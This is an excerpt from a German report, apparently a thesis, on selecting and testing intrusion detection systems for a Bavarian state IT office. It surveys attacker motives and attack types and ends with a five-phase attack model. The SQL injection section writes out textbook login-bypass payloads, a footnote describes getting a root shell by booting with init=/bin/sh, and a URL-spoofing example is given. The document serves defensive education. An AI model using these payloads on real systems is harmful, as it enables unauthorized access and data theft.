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1
Aufgabenstellung

Law 1: If a bad guy can persuade
you to run his program on your
computer, it's not your computer
anymore

10 Immutable Laws of Security

In den letzten Jahren ist die Zeit, zwischen der Bekanntgabeeines Fehlers und
der Nutzung dieses Fehlers in Form eines Exploit, immer kürzer geworden. Die
Notwendigkeit einer frühzeitigen Einbruchserkennung istfür alle zu einen wichti-
gen Punkt geworden. Ein Einbruch bringt nicht nur einen eventuellen �nanziellen
Schaden, sondern es bedeutet auch einen Imageverlust. In den 80 war eine Firewall
eine Notwendigkeit, in den 90 die Einbruchserkennung (Intrusion Detection Sy-
stem, kurz IDS). Da wir die Angriffe erkennen können, wäre esdenkbar auch sie zu
verhindern. Heutzutage ist Einbruchsvorbeugung (Intrusion Preventation System,
kurz IPS) ein schnell wachsender Markt. Nicht nur die Tools der Administrato-
ren und Sicherheitsleuten sind gewachsen, z.B. simulierteEinbrüche, Honeypots,
Bridgewalling,..., sondern auch die Tricks der Hackergemeinde, um unentdeckt zu
bleiben und Spuren zu vernichten.

Unser Ziel ist ein wie in Abb. 1.1 dargestelltes Verteiltes Einbruchserkennungsy-
stem, mit einer zentralen Auswertungsstelle, um Angriffe von Drau�en, aber auch

1



2 KAPITEL 1. AUFGABENSTELLUNG

zwischen den Behörden zu erkennen. Zwischen den verschiedenen Behörden und
Kommunen, die als Wolke dargestellt werden, sind Einbruchserkennungssensoren
plaziert.

IDS Sensor

IDS Sensor

IDS Sensor

IDS Sensor
IDS Sensor

IDS Sensor

Internet

Abbildung 1.1: Distributed IDS für das LfSaD. Die Wolken stellen die verschiedenen
Behörden da.

Es sollen allgemeine Kriterien in Form eines Kriterienkatalogs festgelegt werden,
die jedes IDS erfüllen muss. Die Kriterien sollten die verschiedenen Punkte un-
tersuchen, von Installation und Erkennung bis zur Auswertung und Management.
Dieser Kriterienkatalog soll als Entscheidungshilfe dienen, um ein Produkt auszu-
wählen.

Die de�nierten und durchgeführten Tests sollen nicht auf die Detektion der Pro-
dukte beschränken, sondern sollen auch die weiteren Kriterien aus den späteren
spezi�zierten Kriterienkatalog beinhalten, insbesondere die Auswertung der Alar-
me und das Management. Viele der Tests sollen so spezi�ziertwerden, um die
Grenzen der Systeme zu untersuchen und ihr Verhalten bei extrem Situationen.
Au�erdem sollte getestet werden, ob die Hersteller auf bekannte Versuche die
Einbrucherkennunssysteme zu täuschen, die seit längerem bekannt sind, reagiert
haben.
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Als zu evaluierende Produkte wurden ein kommerzielles Produkt der Firma Sy-
mantec (SNS) und das Produkt von der Firma Genua (GeNUDetect), welches auf
das Opensource IDS snort basiert ausgewählt, vom Landesamtaugesucht.

Es soll auch die sinnvolle Positionierung der einzelne Sensoren untersucht werden.
Diese Fragestellung wollen wir aber hier nicht weiter betrachten, es wurde mit den
Netzverantwortlichen diskutiert.

1.1 Das Landesamt für Statistik und Datenverarbei-
tung

Das Landesamt für Statistik und Datenverarbeitung ist der Internet Provider für al-
le bayerischen Behörden. Die einzelnen Behörden stellen unterschiedliche Sicher-
heitsanforderungen. Aus rechtlichen Gründen dürfen verschlüsselte Verbindungen
nicht unterbrochen werden.

Die Behörden sind gegen Zugriffe von Au�en und untereinander geschützt. Einige
Behörden sind 24 Stunden besetzt. Eine statistische Anomaly Detektion ist somit
schwer möglich, da es keine Zuordnung zwischen IP Adresse und User geben
kann und darf. Es ist nicht möglich festzustellen, welcher Verkehr legitim ist und
welcher nicht.

Die Struktur des Landesamt für Statistik und Datenverarbeitung kann man sich
wie in Abb. 1.2 vereinfacht dargestellt vorstellen. Es existiert eine Demilitarisierte
Zone (DMZ), wo die Server die drau�en erreichbar sein müssensich be�nden.
Die einzelnen Behörden sind getrennt, mit weitere Sicherheitsma�nahmen z.B.
Firewall, geschützt. Es sind natürlich auch Remote Access Service (RAS) Zu-
griffspunkte vorhanden, um Zugriffe von zuhause zu erlauben. Weiterhin existie-
ren verschiedene Backupleitungen und es wird an bestimmtenStellen die Netzlast
zwischen mehreren Leitungen verteilt. Zusammen mit den verschiedenen Sicher-
heitsvorgaben, für die einzelnen Behörden und den gro�en Datenvolumen ergibt
eine sehr komplexe Infrastruktur, die man besonders behandeln mu�. Eine grö�ere
Anzahl von Sensoren sind nötig, um das ganze Netz zu überwachen. Das hat zur
Folge, da� das Überwachungsnetz komplex ist. Es benötigt mehrere Sensoren, eine
zentrale Datenbank und einen Server zur Auswertung.

Die Sensoren und das Management bilden ein eigenes Netz, da�auch gesichert
werden sollte. Die Sensoren sollten einfach zu verwalten, entfernt administrierbar
und austauschbar sein.
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DMZ

KVR
Finanzamt

Internet

Abbildung 1.2: Einfache Struktur von LfStaD



2
Intrusion Detektion Systeme

Law 2: If a bad guy can alter the
operating system on your computer,
it's not your computer anymore

10 Immutable Laws of Security

2.1 Einführung

Einbruchserkennungsysteme (IDS) sind Systeme, die Rechner und Netzwerke auf
Indizien von Sicherheitsverletzungen überwachen. Die Anzahl der Angriffe gegen
Rechner und Netzwerke ist in den letzten Jahr drastisch gestiegen. Das hatte zur
Folge, dass neben Firewalls, Einbruchserkennungsysteme zu einer Notwendigkeit
für jede Sicherheits Infrastruktur geworden sind. Eine frühe Einbruchserkennung
ist sehr wichtig, um den Schaden einzugrenzen. Allerdings muss man immer den
Aufwand beachten den man betreiben muss, um die Daten zu schützen. Wie in

5



6 KAPITEL 2. INTRUSION DETEKTION SYSTEME

Abb 2.1 sichtbar ist, hängen Knowhow, Ressourceneinsatz und Zeiteinsatz eng
zusammen.

niedrig

Zeiteinsatz

hoch

niedrig

 Know-

hoch

niedrig

Einsatz

Ressourcen-hoch

how

Abbildung 2.1: Zusammenhang zwischen Zeitaufand, Ressourceneinsatz und Knowhow
[GP04]

2.2 Network Security Monitoring

Die Sicherheit darf nicht nur auf eine Firewall oder IDS basieren. Keine Software,
Hardware oder Person allein ist als Sicherheitslösung ausreichend. Einbruchser-
kennung ist mehr ein Proze�, welcher viele Komponenten beinhaltet. Das Netz-
werk wird auf ungewöhnlichen Aktivitäten und Verkehr überwacht. Es gibt auch
Opensource Produkte, die diesen Proze� ermöglichen, wie z.B. [oss].

2.3 Angreifernmotivation

Wir wollen kurz die verschiedenen Angreifer und ihre Motivebetrachten. Das soll
verdeutlichen, dass es sich um Angreifer handelt, die unterschiedliches Wissen,
Zeit und Motivation haben.



2.4. ANGRIFFSARTEN 7

2.3.1 Rache

Die wohl gefährlichste Motivation ist Rache. Die Angreiferkönnen sich innerhalb
oder au�erhalb der Organisation be�nden. Es kann sich um Mitarbeiter handeln, die
unzufrieden sind und sich rächen wollen. Da diese meistens auch Wissen über die
interne Infrastruktur, den angebotenen Diensten und die Sicherheitsinfrastruktur
haben, sind diese Angriffe sehr gefährlich und können gro�en Schaden anrichten.

2.3.2 Pro�t

Die Motivation dieser Gruppe ist �nanzieller Natur. Diese sogenannte Cracker
haben das Wissen, die Mittel, und die Zeit um ein gut geplanten Angriff durchzu-
führen. Sie können ihre Spuren gut verwischen und bleiben unentdeckt.

2.3.3 Angeben

Um einfach die Freunde, Bekannte, IRC-Partner zu beeindrucken, brechen Leute
in fremde Netze ein. Man kann es auch als Art eine Wettbewerb betrachten. Auch
wenn keine weitere Absichten dahinter stecken, kann der Schaden gro� werden.

2.3.4 Neugier

Diese Gruppe ist mehr durch Neugier geleitet. Man �ndet ein neues Tool oder
Exploit und will dieses testen. Sie haben nicht das notwendige Wissen. Trotzdem,
der entstandene Schaden kann gro� sein.

2.4 Angriffsarten

Man muss sich von dem typischen Bild eines Angreifers, welcher Exploits nutzt,
um Zugriff auf das interne Netz zu erlangen trennen. Es gibt eine Vielfalt an
Angriffen, die man durchführen kann. Den menschlichen Faktor darf man nicht
unterschätzen. Social Engineering1 ist eine gro�e Schwachstelle.

1Social Engineering (auch Social Hacking) ist das Erlangen vertraulicher Informationen durch
Annäherung an Geheimnisträger mittels gesellschaftlicher Kontakte.
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Neuerdings gibt es Angriffe die auf Wireless, z.B. WiPhishing [Ley] oder Blue-
tooth ( [LH04], [ALH04]) Verbindungen zielen.2. Ein Angriff auf VoIP wäre auch
einfach durchzuführen, da die meisten Anbieter die Netze ungenügend oder gar
nicht schützen [Ark02]. Nicht nur Denial-of-Service Angriffe wären denkbar, son-
dern -da der Angreifer als interner Teilnehmer erschient- auch Social Engeering
Angriffe.

Es wurden auch Erpressungsangriffe gemeldet [Hei05a]. DerAngreifer verschlüs-
selt die Dateien eines Opfers, und löscht die Originale. Manerpre�t dann die Opfer.
Da meistens der Imageverlust und der Zeitaufwand gro� wäre,darf man leider da-
von ausgehen, dass diese Art von Angriffen erfolgreich ist und in der Zukunft öfter
auftauchen wird.

Die physikalische Sicherung der Hardware sollte auch berücksichtigt werden.
Wenn man physikalisch Zugriff auf die Maschine erlangt und diese als Trusted an-
gesehen wird, dann kann man davon ausgehen, dass die anderenMaschinen auch
kompromittiert würden. Angriffe, die physikalischen Zugriff benötigen, sind.B.
Bootprompt3 oder Screensaver4. Da solche Angriffe hinter der IDS statt�nden
wird es sehr schwer sein, diese zu entdecken. Nur durch Network Security Moni-
toring und parsen der Log�les kann man solche Angriffe erkennen. Besser wäre
es natürlich, die Maschinen physikalisch abzusichern.

Viren haben neuerdings eine integrierte Firewall-Funktion, um zu verhindern, dass
Antivirenprogramme ihre Signaturen aktualisieren [Heib].

Dass keine Geräte, auch als unwichtig betrachtet, ohne Schutz ins Netz dürfen,
zeigen Tools PFT [FXd]. Da viele teuere Geräte ein integrierten Java Interpreter
haben, können sie durch installieren - das Programm bleibt in der Flash-RAM,
auch nach dem Ausschalten erhalten- von Java Proxy Softwareals Proxy Server
mi�braucht werden [RRC03].

2.4.1 Denial of Service

Wie der Name -Denial-of-Service kurz DoS- schon verrät, handelt es sich um
Angriffe, die versuchen gewisse Dienste, die ein Rechner anbietet au�er Funktion
zu setzen, durch Resourcenverbrauch. Man über�utet den Server bis der Dienst
zusammenbricht oder dieser die Anfragen nicht mehr beantworten kann. Da der
Server mit tausend Anfragen umgehen kann, nutzt man oft viele “Opfer”, die den

2RFID Angriffe sind auch bekannt. [Gru]
3Unterbrechendes Bootprozesses bzw. mit der Optioninit=/bin/shbooten, welche ein Root Shell

bietet
4Nach dem Stoppen des Screensaverprozesses ist ein Zugriff auf dem Rechner möglich.
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Server über�uten mit Anfragen. Man spricht von DistributedDenial-of-Service.

Man kann aber auch die Vernichtung von Dateien oder ihre Verschlüsselung, so
dass der legitime Nutzer keinen Zugriff hat, als DoS Angriffsehen.

In der Zeitschrift c't wurde auch ein Angriff vorgestellt [Hei05b], welcher auch
als DoS angesehen werden kann. Dabei wird die Festplatte -alle modernen SATA
Festplatten unterstützen diese Funktionalität- mit ein Passwordschutz versehen.
Was als Diebstahlsicherung vorgesehen war, kann so leicht durch ein Virus oder
Wurm genutzt werden, um die Festplatte mit einem unbekanntes Kennwort zu
versehen. Die Reparatur durch die Hersteller bzw. spezialisierte Firmen ist sehr
teuer und zeitaufwendig, es kostet soviel wie eine neue Festplatte fast. Da der User
den Rechner nicht mehr nutzen kann, ist eine Form von DoS.

2.4.2 SQL Injection

Oft werden Kundendaten in eine SQL Datenbank gespeichert. Ein häu�ger Fehler
in Programm ist die fehlende Überprüfung der eingegebenen Daten. Damit lassen
sich beliebige SQL Befehle einführen und ausführen.

Um das einfach zu verdeutlichen betrachten wir folgenden einfachen Code:

SELECT XYZ FROM Usern
WHERE User_ID='<input vom web form>'
AND U_Password='<input vom web form>'
IF [Daten erhalten] {Login ok}

ELSE {Login fehlgeschlagen}

Als Beispiel für SQL Injection betrachten wir folgende Code:

blah' OR 1=1--

für Usernamen und leeres Password.

Das ergibt:

SELECT XYZ FROM Usern

WHEREUser_ID='blah' OR 1=1 –AND

U_Password=''
IF [Daten erhalten] {Login ok}

ELSE {Login fehlgeschlagen}
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In SQL wird - - als SQL Kommentar interpretiert. So reduziertsich unser Code in:

SELECT XYZ FROM Usern

WHEREUser_ID='blah' OR 1=1 –

IF [Daten erhalten] {Login ok}
ELSE {Login fehlgeschlagen}

Da 1=1 immer wahr ist, liefert der SELECT Befehl Daten und unser Programm
glaubt, dass der User authenti�ziert wurde. [Mee]

Natürlich gehen normaleSQL Injection Attacken weiter. Oftist Ziel eineAu�istung
alle Userdaten, z.B. blah' OR 1=1; SELECT User_ID FROM Usern–

2.4.3 Man in the Middle

Bei der Man in the Middle Attacke steht der Angreifer zwischen zwei miteinander
kommunizierenden Rechnern. Von hier aus kann er alle Daten abfangen und diese
verändert (oder auch nicht) an den Adressaten weiterleiten, der glaubt, dass diese
Daten vom ursprünglichen Absender stammen. So gibt sich derAngreifer zu jeder
Seite als die jeweils andere Seite aus. Wenn Alice5 bei Bob eine Abfrage tätigen
will und es Eve gelingt, sich Alice gegenüber als Empfänger Bob auszugeben,
kann er die Abfrage abfangen und selber bei Bob abfragen, wobei er sich diesem
gegenüber als Alice ausgibt. Nun antwortet Alice Eve, die sie für Bob hält, und
Eve kann die manipulierte Antwort im Namen der Alice an Bob senden.

Diese Sonderstellung kann auf verschiedene Arten erreichtwerden:

• Der Angreifer hat Kontrolle über einen Router, durch den der Datenverkehr
übertragen wird. Dies funktioniert sowohl im Internet als auch im LAN.

• Im Ethernet modi�ziert der Angreifer die ARP-Tabellen derOpfersysteme
und leitet dadurch den gesamten Datenverkehr durch sein System. Diese
Methode funktioniert nur im LAN, ermöglicht aber auch das Abhören des
Datenverkehrs an Switches, siehe auch ARP-Spoo�ng S. 12. Diese Methode

5Bob und Alice sind unsere beide Diskussionspartner und Eve unser böswilliger Mithörer



2.4. ANGRIFFSARTEN 11

BobAlice

Eve

Abbildung 2.2: Man in the Middle

funktioniert immer dann, wenn der Angreifer und das Opfer imgleichen
lokalen Netz sind. Dies ist auch bei Kabelnetzanbietern undz.B. bei öffent-
lichen WLAN-Hotspots gegeben.

• Eine weitere Angriffsmethode, die ebenfalls ein gemeinsames lokales Netz
voraussetzt, ist das Vorspielen eines falschen DHCP-Servers. Durch Anga-
be einer falschen Gateway-Adresse zum Internet kann die Kommunikation
durch einen Rechner des Angreifers geleitet werden.

• Ebenfalls ist es im speziellen Fall des öffentlichen WLAN-Hotspots das
Vortäuschen eines WLAN Access Points mögloich. Auch in diesem Fall
leitet der Rogue6 Access Point die Daten dann zum korrekten Access Point
weiter.

• Durch DNS-Cache Poisoning7 gibt der Angreifer eine falsche Zieladresse
für die Internet-Kommunikation vor und leitet dadurch den Verkehr durch
seinen eigenen Rechner.

Am effektivsten lä�t sich diese Angriffsform mit einer Verschlüsselung der Da-
tenpakete entgegenwirken, wobei allerdings die Fingerprints der Schlüssel über
ein zuverlässiges Medium veri�ziert werden sollten. D.h. es muss eine gegensei-
tige Authenti�zierung statt�nden, die beiden Kommunikationspartner müssen auf
anderem Wege ihre digitalen Zerti�kate oder einen gemeinsamen Schlüssel aus-
getauscht haben, d.h. sie müssen sich "kennen". Sonst kann z.B. ein Angreifer
bei einer ersten SSL- oder SSH-Verbindung beiden Opfern falsche Schlüssel vor-
täuschen und somit auch den verschlüsselten Datenverkehr mitlesen( [Diga] und
[Aur04] Kapitel 1.4.4.1). Auch wenn der Schlüssel der Verbindung zur Verfügung
steht, kann man den verschlüsselten Verkehr mithören.

6Rogue ist der gefälschter AP
7In den Cache des DNS werden durch gefälschte DNS Daten eingefügt
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Die einzige sichere Methode -mathematisch bewiesen- den Schlüssel aus-
zutauschen basiert auf Quantenkryptographie (BB84 oder Eckert Protokoll)
[BB84],[ERTP92]. Eine kleine Einführung �ndet man auch unter [Gru99].

2.4.4 Spoo�ng

Spoo�ng nennt man verschiedene Täuschungsversuche in Computernetzwerken.
Es gibt verschiedene Spoo�ng Angriffe:

• ARP-Spoo�ng
Die Zuordnung zwischen IP und MAC Adresse wird gefälscht. Eine ge-
fälschte ARP Antwort zeigt für die gewünschte IP die MAC Adresse des
Angreifers.

• DNS-Spoo�ng
Eine DNS Abfrage wird gefälscht, so dass z.B. www.ibm.com auf die IP
des Angreifers zeigt. Da die wenigsten Systeme mit DNSSEC (rfc4033
[Are05a]„rfc4034 [Are05b],rfc4035 [Are05c]), arbeiten sind solche An-
griffe einfach durchzuführen.

• IP-Spoo�ng
Es werden Pakete mit gefälschter Absender IP-Adresse verschickt. Entweder
interne oder ungenutzte IP Adressen, aber Absender IP ist gleich Empfänger
IP -LAND Angriff 8- .

• Mail-Spoo�ng
Meistens wird der Absender einer E-mail nicht authenti�ziert oder überprüft.
So ist es einfach E-mail mit gefälschten Absender zu schicken.

• URL-Spoo�ng
Man nutzt Fehler in Programmen, um die URL zu fälschen. Z.B.
bei http://register.ebay.com@192.168.1.1 zeigte der Internet Explorer
http://register.ebay.com in der Eingabezeile und der Userdachte, dass er
mit dem Server von E-bay kommuniziert. Stattdessen wurde auf die Sei-
te 192.168.1.1 umgeleitet. Bei unvorsichtigen Usern und/oder Fehler der
WWW-Browser (oder in den Implementierungen) könnten auch verschlüs-
selte Seiten umgeleitet werden, ohne das der User gewarnt wird.

8Land ist ein Denial-of-Service-Tool, das im November 1997 veröffentlicht wurde. Es nutzt eine
Schwachstelle im TCP/IP-Stack verschiedener Betriebssysteme aus, die bereits im März 1997 von
Microsoft bekanntgegeben wurde. [Micc]
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• Access Point Spoo�ng
Es wird ein gefälschter Access Point vorgegaukelt. Entweder automatisch
-falls “stärkeres Signal” vorhanden- oder manuell -durch Deauth Pakete-,
kann man die Verbindung zwischen Access Point und Rechner unterbre-
chen (und evtl. den Platz des authenti�zierten Users übernehmen)- und eine
Verbindung zwischen Fake AP und Rechner aufbauen. Falls keine gültige
PKI9 existiert, kann man auch beim Einsatz von VPN Verbindungen,die
Passwörter und Daten der User ausspionieren( [Thec], [Thec], [BP]).

Man sollte auch bei den Einsatz von verschlüsselten Protokollen wie HTTPS,
IPSEC, dass es auch Downgrade10 Attacken möglich sein.

2.4.5 Speichermanipuliation

Die häu�gste eingesetzte Methode, um in ein System einzubrechen, sind die Aus-
nutzung von Fehlern in Programmen. Meistens wird in den Speicher eigener Code
eingeführt und dieser dann ausgeführt. Es gibt 3 Arten von Speichermanipulationen
[McN04]:

• Klassische Buffer Over�ows (stack, heap und statische Over�ows)

• Integer Over�ows

• String Over�ows

Ein Exploit ist ein Computerprogramm, welches spezi�sche Schwächen bezie-
hungsweise Fehlfunktionen eines anderen Computerprogrammes ausnutzt. Dies
erfolgt in der Regel mit destruktiver Absicht.

Meist machen sich Exploits zu nutze, dass Computer nicht zwischen Programmen
und temprorären Daten unterscheiden. So wird meistens eineSchadroutine mit-
tels Buffer Over�ow in einen unerwarteten Speicherbereichkopiert und dann -im
Grunde zufällig- irgendwann ausgeführt.

Exploits können beim Öffnen an sich scheinbar völlig harmloser Dateien, z.B. Bild-
dateien aktiviert werden, indem einfach den Bilddateien Maschinencode beigefügt
ist und die Datei in einer Weise manipuliert wurde, dass dieser Maschinencode

9Public Key Infrastruktur
10Durch Fehler oder bewu�t ist es möglich das Sicherheitsniveu zu reduzieren, z.B. erzwingen

dass bei eine SSH Verbindung statt das Protokoll Version 2 das Version 1 benutzt wird, welches
angreifbar ist.
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einen Teil des laufenden Programms (welches auch in Maschinencode vorliegt)
überschreibt. Das Programm kann daraufhin abstürzen oder sich ungewöhnlich
verhalten, muss aber nicht.

Speicherschutz ist theoretisch ein Schutz gegen Exploits.Es gibt viele Ansätze
wie man gegen Exploits schützt. Eine Möglichkeit ist in der Hardware ein Bit
einzuführen, um Speicherbereiche als nicht ausführbar zu de�nieren.11 Eine andere
Möglichkeit wäre der in PaX vorgestellter ASLR12. Keine Möglichkeit bietet 100%
Schutz [Dur02].13

2.4.6 Brute Force

Bei Bruteforce Attacken versucht man alle mögliche Varianten, z.B. eines
Passwords zu testen. Da viele User immer noch schwache Passwörter nutzen, und
viele Programme immer noch schwache Verschlüsselungsverfahren einsetzen, ist
einfach nach kürzester Zeit durch Ausprobieren das Password eines Users zu eraten
oder den Schutz einer Datei zu umgehen.

Gegen Bruteforce Angriffe können Network Intrusion Detection Systeme und Host
Intrusion Detection Systeme nichts machen. Es ist nicht klar, ob ein Zugriff legitim
ist oder nicht. Die einzige Möglichkeit ist es in den Log�lesnach Anzeichen
eines solchen Angriffs zu suchen. Wenn es z.B. innerhalb von5 Minuten mehr als
5 fehlgeschlagene Anmeldeversuche gab, soll eine Benachrichtigung statt�nden.
Leider ist natürlich die Fehlerrate sehr gro�. Aber wenn dieAttacke erfolgreich
ist, ist der Schaden grö�er, da der Angreifer unentdeckt Zugriff aufs Zielsystem
erlangt.

2.4.7 Phishing

Bei Phishing versucht man das Opfer zu überzeugen, irgendwelche Aktionen
durchzuführen, Programme -meists Trojaner- zu installieren oder persönliche Da-
ten zu entlocken.

11Das NX-Bit (No EXecute) ist der Markenname einer von AMD mit dem Athlon 64 eingeführte
Technik zur "Verbesserung der Sicherheit eines Computers", auch als "Enhanced Virus Protecti-
on" vermarktet. Intel verwendet diese Technik ebenfalls inihren Itaniumprozessoren und in den
neuesten Pentium 4-Modellen. Bei Intel hei�t diese TechnikXD-Bit (EXecute Disable).

12Address Space Layout Randomization ist ein Proze�, der zur Folge hat, die Positionen der
Hauptdatenbereiche im virtuellen Adressbereich nach dem Zufall zu ordnen. Dieses kann die Un-
terseite vom vollziehbaren, von Bibliotheken, vom Heap undvom Stack umfassen.

13Man sollte auch andere Mechanismen einsetzen, wie z.B. in grsecurity [SD] die Randomization
von Proze� ID und Quellports
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Phishing ist eine Variante des Identitätsdiebstahls. Meistens per gefälschter E-mail
versucht man die Zugangsdaten z.B. für das Online Banking zustehlen.

2.4.8 Phreaking

Phreaking bezeichnet das in der Regel illegale Manipulieren von Telefonsystemen.
So kann man auf Kosten anderer telefonieren. Neuerdings kann man auch auf
Kosten anderer surfen. Da die meisten Access Points für WLANgar nicht oder
schwach geschützt sind und gro�e Reichweite besitzen, kannman sich verleiten
den Anschlu� des Nachbarn zu mi�brauchen, um kostenlos zu surfen.

2.4.9 Malware

Malware wird oft eingesetzt als Industriespionage oder einfach als Versuch, ein-
zelne Personen zu überwachen, um Daten und Informationen zustehlen. Durch ein
Trojaner, Wurm oder Exploit installiert ein Angreifer bzw.auch der User selbst ein
Programm, das alle seine Schritte überwacht und Informationen sammelt. Diese
Informationen werden an den Angreifer weitergeleitet.

2.5 Anatomie eines Angriffs

Sehr oft ist das Vorgehen bei einem Angriff ähnlich. Allerdings gibt es Abweichun-
gen, falls z.B. der Angreifer schon Wissen über die interne Infrastruktur und die
eingesetzten Dienste hat. Man darf Social Engineering nicht unterschätzen. Der
menschliche Faktor ist genauso eine Schwachstelle wie die Computerfehler. Oft
kann man Informationen - ohne Aufmerksamkeit - von Hilfe Seiten sammeln, oder
durch mithören des Verkehrs, was die IDS nicht detektieren kann. Den Einbruch
durch die schlecht bewachte "Hintertür" - RAS14, VPN15 Verbindungen - sollte
man auch nicht unterschätzen.

Angreifer kommen immer auf ungewöhnliche Ideen, welche oftnicht detektierbar
sind. Ein Beispiel dafür sind die vorgestellten Trojanische Patches. Jeden Don-
nerstag gibt es von der Firma Microsoft Patches. Zwar sind diese digital signiert,
aber wenn die Überprüfung der Signatur nicht streng ist, könnte es möglich sein
gefälschte Patches zu verteilen. Ein Beispiel wurde in Black Hat 2005 vorgestellt
[FM05].

14Remote Accesss Service
15Virtual Private Network
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Bei der Hardware-Sicherheit sollte man beachten, dass keinphysikalischer Zugriff
auf die Rechner erlaubt sein sollte. Leider gibt es für Firewire IEE1394 und USB 2.0
Geräte keine Access Controll Liste(ACL) , so dass alle Geräte direkten Zugriff auf
den Hauptspeicher haben. Wie schon praktisch gezeigt wurde( [MBK05], [Dor]),
kann man mit Firewire Geräte dann Rechner und Passwörter ausspionieren. Ein
paar mögliche Angriffe, die physischen

Keyloggersind Geräte, die alle Tastendrücke aufzeichnen. Es gibt sieals Hard-
oder Software. Die Hardware Version wird zwischen Tastaturund Rechner
gesteckt, und Einbruchserkennungsysteme können solche nicht entdecken (z.B.
[Key]). Die Software Keylogger sind Programme, die sich im Kernel verstecken
und alle Tastendrücke protokollieren.

Es gibt Kombigeräte, die Wireless LAN und USB Memory Stick inein Gerät ver-
einen. Es wäre denkbar, ein Software Keylogger in so ein Gerät zu installieren und
alle Tastendrücke über WLAN weiterzuleiten. Es wäre nur nötig, die Verbindung
und den Keylogger für das System und den User unsichtbar zu machen.

Goal

Reconnaissance

Reinforcement

Consolidation 

Pillage 

Exploitation 

Abbildung 2.3: Die Fünf Phasen eines Angriffs [Bej04].
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Phase Erklärung Endeckungs- Angreifers Verteidigers
wahrsch. Vorteil Vorteil

Reconnaissance Entdecke Hosts,
Services und Ver-
sionen

mittel bis hoch Angreifer können
die Angriffe ver-
stecken oder fäl-
schen.

Angreifer können
auf�iegen, wenn
keine Vorsicht ge-
boten ist. Es gibt
viele Signaturen
dafür und viele An-
griffe/Scans sind
bekannt.

Exploitation Einbruchsversuch mittel Angreifer kön-
nen verschlüsselte
Dienste angreifen
oder versuchen die
IDS zu täuschen

Exploits sind ein-
fach zu erkennen.
Es gibt viele Si-
gnaturen, um sol-
che Angriffe zu er-
kennen.

Reinforcement Erhöhen der Pri-
vilegien, Übertra-
gen von Tools, Ver-
stecken der Spuren

hoch Verschlüsselung
erschwert Ent-
deckung

Anomalien können
entdeckt werden.
Host IDS Systeme
können die Versu-
che entdecken.

Consolidation Kommunikation
durch Hintertüren

klein bis mittel Verschlüsselung
und Phantasie las-
sen die Angreifer
kreativ werden.

Durch Traf�c Flow
und Anomali-
en gibt es gro�e
Wahrscheinlich-
keit Backdoors zu
entdecken.

Pillage Informationen
stehlen, weite-
re Angriffe des
Netzes

klein bis mittel Innerhalb des Net-
zes - hinter der Fi-
rewall - wird mei-
stens alles als “ver-
trauenswürdig” an-
gesehen.

Anomalien kön-
nen durch genaues
Überwachen des
Netzes auffallen.

Tabelle 2.1: Die fünf Phasen eines Kompromisses [Bej04]

2.5.1 Reconnaissance

Als erstes werden Informationen über das anzugreifende Netzwerk (Host) gesam-
melt. Informationen über Rechner, Betriebssystem, angebotene Dienste und ihre
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Version. Es gibt gute Möglichkeiten Angriffe schon in dieser Phase zu erkennen.
Allerdings gibt es immer neue Methoden, so dass erfahrene Hacker unentdeckt
bleiben (vgl. Decoy 46 und Idle 46). Langsame Scans sind nicht leicht zu ent-
decken.

2.5.2 Exploitation

Beim Versuch die Dienste zu unterwandern, ist die beste Möglichkeit, Signature
basierte Intrusion Detektion Systeme eizusetzen. Die meisten Signature basierte
Intrusion Detektion Systeme können die Angriffe erkennen.Die IDS Systeme kön-
nen alle in [Pta98] vorgestellten Tricks (Fragmentation, Inseration,..) aufdecken.
Auch versuchedieExploits -polymorphicShellcode-umzuschreiben (vgl. [ADM])
können die IDS nicht täuschen. Aber es gibt auch unbekannte Exploits, die nur
entdeckt werden, falls diese die Spezi�kationen nicht erfüllen.

Bei Würmer und Viren muss für jede Variation eine Signatur existieren. Ein regel-
mä�iges Update der Signature muss durchgeführt werden.

Die Network IDS kann Bruteforce Attacken nicht erkennen. Darum ist es wichtig
eine Auswertung der Log�les durchzuführen.

Da meistens die IDS hinter Gateway und Firewall steckt, gibtes die Gefahr, dass
Angriffe gegen den Getaway unentdeckt bleiben. Beim Erfolgkann ein Angreifer
dann den ganzen eingehenden und ausgehenden Verkehr beobachten. Es lä�t sich
der Verkehr beliebig umleiten und Man in the Middle realisieren.

2.5.3 Reinforcement

Nach einem Einbruch kann eine Host Intrusion System einfachden Versuch,
mehr Rechte zu erschleichen entdecken. Ein spezieller Kernel - z.B. mit [NSA],
[MCC04]- kann einen Angreifer hindern weitere Rechte zu erlangen und den Ver-
such melden. Studieren der Log�les kann auch sehr ausschu�reich sein.

2.5.4 Consolidation

In dieser Phase hat der Zugriff die Kontrolle über das Systemund hat eine Hin-
tertür installiert. Da es nicht sicher ist, wie lange das Exploit aktiv ist, braucht der
Angreifer eine geheime Möglichkeit, um Zugriff auf das System zu bekommen.Oft
werden Hintertüren vom System und User versteckt. Aber durch den Einsatz von
Systemen die Anomalien entdecken, kann man solche Backdoors entdecken.
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Dass ein Server in derDMZ Verbindungen nach drau�en aufbaut, sollteals verdäch-
tig eingestuft werden. Ein Backdoor (DNStunnel [Pol]), welches eine komplette
SSH Verbindung über DNS Abfragen tunnelt, kann einfach überdie Netz�ows
endeckt werden, da diese einen sehr gro�en Anstieg der DNS Anfragen zeigen.

Man sollte immer beachten, dass solange keine Signatur existiert, oder das Back-
door Verschlüsselung nutzt, z.B. ssh, die Hintertür nur durch die Netz�ows ent-
decken werden kann.

Eine NIDS kann keine PAM16 Hintertür entdecken, da die Änderungen nur im
Host vorgenommen werden und es keine Hinweise in Netzverkehr gibt, au�er evtl.
in Net�ows. Die Änderungen oder der Versuch Systemdateien zu verändern kann
effektiv mit einem Host Intrusion Detektion System entdeckt werden.

2.5.5 Pillage

In dieser Phase werden Angriffe auf andere interne oder externe Hosts durchge-
führt, oder es wird versucht, Spuren zu vernichten. Wenn derAngreifer unentdeckt
bleibt, wäre es einfach den komprommitierten Rechner zu benutzen, um weitere
Rechner unter seine Kontrolle zu bringen. Da die Angriffe hinter der IDS und der
Firewall statt�nden, können nur Host IDS Systeme einen Alarm auslösen.

Layer 2 Angriffe, wie z.B. ARP Spoo�ng oder STP Mangling,.. lassen sich schwer
entdecken. Das eröffnet die Möglichkeit alsM an in the Middle zu agieren. Somit
sind dann weitere Accounts gehackt.

2.6 Typen von IDS

Es gibt verschiedene Ansätze, wie man Angriffe erkennen kann ( [BM], [Ext03]).
Man kann diese in die Kategorien Network Intrusion Detection, Host Intrusion
Detection und Hybrid Intrusion Detektion unterteilen.

Es gibt auch experimentelle Systeme, die mit Knowledge Discovery arbei-
ten [Zan04]. Diese versuchen Anomalienerkennung zu realisieren, um auch un-
bekannte Exploits und Angriffe zu erkennen.

